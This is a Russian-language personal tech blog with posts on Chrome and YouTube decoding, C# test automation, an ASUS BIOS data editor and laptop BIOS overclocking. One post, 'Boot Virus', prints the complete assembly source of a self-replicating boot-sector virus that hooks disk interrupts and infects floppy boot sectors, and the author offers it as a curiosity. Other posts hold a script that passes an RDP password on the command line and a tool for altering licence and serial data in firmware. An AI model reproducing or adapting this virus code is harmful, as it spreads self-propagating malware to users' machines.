пятница, 18 апреля 2014 г.

Включение аппаратного декодирования для Youtube в Chrome

В свой нетбук я вставил аппаратный декодер Broadcom BCM-70012 (70015) Crystal HD Decoder Card. 
Он хорошо работает на ускорение воспроизведения flash видео, 
но не работает где видео воспроизводится через HTML5, например Youtube.
Для того чтоб включить аппаратное декодирование для Youtube, нужно Youtube сказать, 
что наш браузер не поддерживает HTML5.
Делаем ярлык с параметром: --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

Или можно установить расширение User-Agent Switcher for Chrome или YouTube Options. В YouTube Options можно поставить, что использовать только Flash но работает нестабильно.

03.10.2014
Найдено замечательное расширение для хрома disable youtube html5 установите это расширение и chrome будет воспроизводить видео через flash.
Сейчас у меня видео 1080 на Acer aspire one (A150, A110) идет без проблем через аппаратный декодер Broadcom BCM-70012 Crystal HD Decoder Card.

среда, 27 ноября 2013 г.

Boot Virus

В далеком 1996(а может раньше, дата файла 96г.) году был у меня компьютер Поиск1 и учился я программировать на assembler. И конечно я не смог обойти тему вирусов, так как было любопытно и позволило мне изучить работу: BIOS, накопителей(FDD, HDD) и файловой системы (FAT). В те времена переделывал вывод CGA для Поиска1, писал драйвер джойстика и еще много интересных вещей. Хорошее время было...
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG

org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir:  push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir:  or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS

Распараллеливание DDT (Data Driven Tests) в Unit Testing

На просторах инета я не нашел решения "как распараллелить DDT в Unit Testing", нашел только информацию, что Microsoft не реализовало данную возможность в Visual Studio 2010.
Так что пришлось выкручиваться.

Вот рабочий пример DDT, распараллеленный на 4 потока.
Создаем TestsMultiThread.csv файл
Вот код для обработки данного файла:
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
 
namespace Wireless.Tests
{
    [TestClass]
    public class TestTry 
    {
        [TestClass]
        public class TestsCoupons 
        {
            public TestContext TestContext { getset; }
 
            [TestCleanup]
            public void StopTest()
            {
            }
 
            [TestInitialize]
            public void StartTest()
            {
            }
 
            [ClassInitialize]
            public static void StartTests(TestContext context)
            {
            }
 
            private void ExecuteTest(int thread)
            {
                var threadcfg = Convert.ToInt16(TestContext.DataRow["Thread"]);
                if (threadcfg != thread)
                    Assert.Inconclusive("Test not executed");
                var var1 = Convert.ToInt16(TestContext.DataRow["Var1"]);
                var var2 = Convert.ToInt16(TestContext.DataRow["Var2"]);
                var expResut = Convert.ToInt16(TestContext.DataRow["Result"]);
                Assert.AreEqual(expResut, var1 + var2);
 
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread1()
            {
                ExecuteTest(1);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread2()
            {
                ExecuteTest(2);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread3()
            {
                ExecuteTest(3);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread4()
            {
                ExecuteTest(4);
            }
        }
    }
}

При запуске TestControler распараллеливает  4 метода на 4 виртуальные машины.
Вот результат запуска:
Поток 1

Поток 2

вторник, 26 ноября 2013 г.

Ranorex - организация автоматического тестирования C# приложения

Я занимаюсь тестированием сложного C# приложения, для retail (WS) с помощью Ranorex. В этой статье я расскажу как я организовал окружение, для автоматического тестирования.
Используемые продукты:
  1. Ranorex
  2. MS Visual Studio with MSTest
  3. MS Test Controller + Test Agent
  4. TFS
  5. TeamCity
Проекты:
WS- тестируемый проект
AutomationTesting - проект тестирования


Схема окружения

  1. Проект AutomationTesting берется из TFS и собирается на локальной машине или в TeamCity.Так же в TeamCity собирается проект WS. 
  2. Из TeamCity проект WS деплоится на виртуальные машины.
  3. Запуск UnitTests можно сделать с локальной машины или TeamCity(вручную или по расписанию.

    Пример задания в TeamCity для сборки тестируемого проекта WS:
  • Проект WS забирается из TFS(красное на схеме)
  • Собирается WS
  • Копируется исполняемые файлы и библиотеки на виртуальные машины(черное на схеме)
         Пример задания в TeamCity для сборки и выполнения проекта AutomationTesting:
  • Проект AutomationTesting забирается из TFS(красное на схеме)
  • Собирается AutomationTesting
  • Запускаются через RDP виртуальные машины, так как нам нужен UI
  • Запускаются тесты (зеленое и голубое на схеме)
Какие тесты исполнять и где определяет TestController, распределяя нагрузку между виртуальными машинами(Test Agents)

Запуск виртуальных машин происходит в фоне, без запроса пароля. Пример cmd файла:
taskkill.exe /F /IM mstsc.exe
 
cmdkey /add:"TERMSRV/nameVM" /user:"userName" /pass:userPassword
start mstsc.exe file.rdp /v:nameVM /h:1024 /w:1280 /admin

вторник, 5 ноября 2013 г.

Программа для тренировки-тестирования вибры

У Jiayu G3S есть проблема, моторчик вибры как бы залипает. Программа тренирует вибру, говорят это помогает. 
В импульсном режиме можно тестировать, если оставить на долго и вибра залипает значит проблемма есть.

вторник, 17 сентября 2013 г.

Рeдактор NCB для ноутов ASUS

Данная программа позволяет редактировать данные в блоке NCB BIOS(SLIC, MSDM, msdm.bin, serial number, OEM number, MAC, UUID). Инструкция в хелпе программы
Пользуетесь на свой страх и риск.
Скачать программу
Если есть замечания, вопросы - пишите.

воскресенье, 18 августа 2013 г.

Выжать все! OverClocking notebook N56VM

Повторение данных действий может привести к печальным последствиям для вашего ноутбука и кошелька. Помните! Я за кирпич из ноута не ответственен.  Все что вы будете делать - это только ваше решение. Перед любыми изменениями BIOS я настоятельно рекомендую иметь под рукой программатор. Я намерено не буду подробно расписывать шаги, т. к. те кто понимают, что они делают, знают как это делать или могут нагуглить.

И так, что можно выжать из ноутбука Asus N56VM.
1. Это увеличить скорость памяти
2. Это увеличить скорость графики GT 630M
3. Это увеличить скорость шины и процессора

По п. 3 сразу скажу, что пока до него не удалось добраться, а вот пункты 1 и 2 я сейчас и распишу.

п. 1 Увеличиваем скорость памяти попутно открываем скрытые настройки BIOS.

Для этого нам понадобятся следующие утилиты:
1. Hex редактор HxD
2. Утилита AMIBCP_Aptio_4.53.0.50
3. Утилита MMTool-4.50 (AMI Aptio EFI)
4. Набор утилит intel_tools_8.1.10.1286, нам нужна будет Flash Programming Tool

И так:
С помощью Flash Programming Tool сливаем наш BIOS и открываем все нужные настройки в AMIBCP. 
После этого нам будут доступны все меню кроме меню Chipset. Для того чтоб открыть меню Chipset  Нам нужно будет намного покопаться, я так и не нашел в инете инструкцию как его открыть, по этому пришлось копать самому. Производитель решил очень глубоко спрятать это меню, по этому его невозможно открыть с помощью AMIBCP. После долгого гугления я как то наткнулся на утекшие сырцы UEFI Bios, что мне помогло после их изучения наткнуться на вот такой код в модуле Setup:
BOOLEAN FormsetVisible[] = {
    TRUE, //Main formset is always displayed
    SHOW_ADVANCED_FORMSET, //Advanced formset
    SHOW_CHIPSET_FORMSET, //Chipset formset
    TRUE, //Boot formset is always displayed
    SHOW_SECURITY_FORMSET, //Security formset
    TRUE //Exit formset is always displayed
};
  Получается что нам всего лишь нужно найти Hex последовательность байт 010100010101
и заменить на 010101010101, т. е. все включить.
С помощью MMTool был выгружен и распакован модуль Setup, а с помощью HxD заменен нужный байт, но вот беда в модуле должна быть прописана нужная контрольная сумма, она находится по адресу x11h, т. к. фактически мы изменили всего один бит, то нам нужно уменьшить число по адресу x11h на 1. У меня было xC9h, стало xC8h, после этого закинуть полученный новый Setup модуль в BIOS c помощью MMTool. После прошивки и выключения-включения(обязательно), у вас в настройках BIOS появится меню Chipset.
А в нем еще настройки памяти, я у себя установил тайминги вместо 11-11-11-28 на 9-9-9-24.

Внимание! Данное действие или изменение частоты может привести к тому, что ноут не загрузится! Восстановление только на программаторе! Я предупредил!
Некоторые неправильные настройки в BIOSe могут привести к не включению ноута, восстановить который можно только на программаторе.

п. 2 Увеличиваем скорость графики GT 630M. Редактируем VBIOS

Дополнительная утилита NiBiTor.v6.06
С помощью MMTool выгрузить драйвер GT 630M 10de - 0de9.
Адреса частот core и boost (спасибо за наводки на адреса Klem):
6f8b - boost
7009 - boost
7066 - boost
7089 - core
Частота высчитывается следующим образом: частота * 2 конвертируем в hex и меняем в файле(помним про последовательность байтов). Я заменил core на частоту 720MHg, boost на 900MHg. Оставил тротлинг, это все таки защищает чип от перегрева.
Далее с помощью утилиты NiBiTor.v6.06 меняем частоты памяти (у меня 1025) и шрейдера (1600), сохраняем. Утилита сама посчитает контрольную сумму. И возвращаем драйвер в BIOS.

Вот и все! У кого получился кирпич, я не виноват!
PS: Я намеренно не выкладываю файлы, чтоб уменьшить кол-во кирпичей. Вы можете их запросить у меня по почте (файлы а не кирпичи ;)

Если вы знаете как разблокировать частоты процессора, прошу мне подсказать, буду очень благодарен, это как я понял где то в регионе ME.